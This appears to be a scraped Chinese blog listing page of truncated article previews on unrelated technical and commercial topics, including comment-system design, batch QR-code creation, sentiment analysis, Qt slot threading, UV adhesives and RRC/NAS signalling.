一、需求分析 1.1、常见行为 1.敏感词过滤 2.新增评论&#xff08;作品下、评论下&#xff09; 3.删除评论&#xff08;作品作者、上级评论者、本级作者&#xff09; 4.上级评论删除关联下级评论 5.逻辑状态变更&#xff08;上线、下线、废弃...&#xff09; 6.上逻辑状态变更…

图片的批量建码怎么做?一图一码的制作方法

在使用图片展示内容时&#xff0c;经常会有同一类型的图片信息是有区别的&#xff0c;如果需要将每张图片批量生成二维码图片&#xff0c;那么出了一张一张去制作之外&#xff0c;有没有能够一键批量建码的功能可以解决这个问题呢&#xff1f;下面来给大家分享一下图片批量建码…

社交网络分析2(下):社交网络情感分析的方法、挑战与前沿技术

社交网络分析2&#xff08;下&#xff09;&#xff1a;社交网络情感分析的方法、挑战与前沿技术 写在最前面7. 词嵌入&#xff08;word embedding&#xff09;的主要目的是什么&#xff1f;结合某方法简要地说明如何实现词嵌入。主要目的实现方法示例&#xff1a;GloVe案例分析…

透明PP专用UV胶水粘接PP材料高效率的提升生产效率

使用透明PP专用UV胶水粘接PP材料是提高生产效率的方法。以下方法&#xff0c;可以助您在生产中实现高效的PP材料粘接&#xff1a; ​1.选用合适的透明PP专用UV胶水 选择经过专门设计用于透明PP的UV胶水。这种胶水具有透明性&#xff0c;能保证粘接后的清晰度和外观。 2.自动…

Qt中槽函数在那个线程执行的探索和思考

信号和槽是Qt的核心机制之一&#xff0c;通过该机制大大简化了开发者的开发难度。信号和槽属于观察者模式&#xff08;本质上是回调函数的应用&#xff09;。是函数就需要考虑其是在那个线程中执行&#xff0c;本文讨论的就是槽函数在那个线程中执行的问题。 目录 1. connect…

关于负载和驱动能力的问题总结

这两天重新接触到了驱动能力这个说法&#xff0c;之前也听过&#xff0c;但是一直不理解是怎么回事儿&#xff0c;也就没有深究&#xff0c;现在想来&#xff0c;这里面还是有点门道的。 驱动能力&#xff0c;说的是什么呢&#xff1f;应该就是带载能力&#xff0c;而带载能力&…

热烈庆祝安徽普朗膜技术有限公司参加2024济南生物发酵展

公司自2004年注册成立以来主要业务领域主要有以乳酸、氨基酸、抗生素为主的发酵液的提取分离&#xff1b;醋、酱油发酵产品的产品升级&#xff0c;果汁、茶饮料等天然产物提取的除菌和澄清过滤&#xff1b;低聚木糖、低聚果糖、果葡糖浆、高果糖浆等过滤、纯化、浓缩&#xff1…

RRC下的NAS层

无线资源控制&#xff08;Radio Resource Control&#xff0c;RRC&#xff09;&#xff0c;又称为无线资源管理&#xff08;RRM&#xff09;或者无线资源分配&#xff08;RRA&#xff09;&#xff0c;是指通过一定的策略和手段进行无线资源管理、控制和调度&#xff0c;在满足服…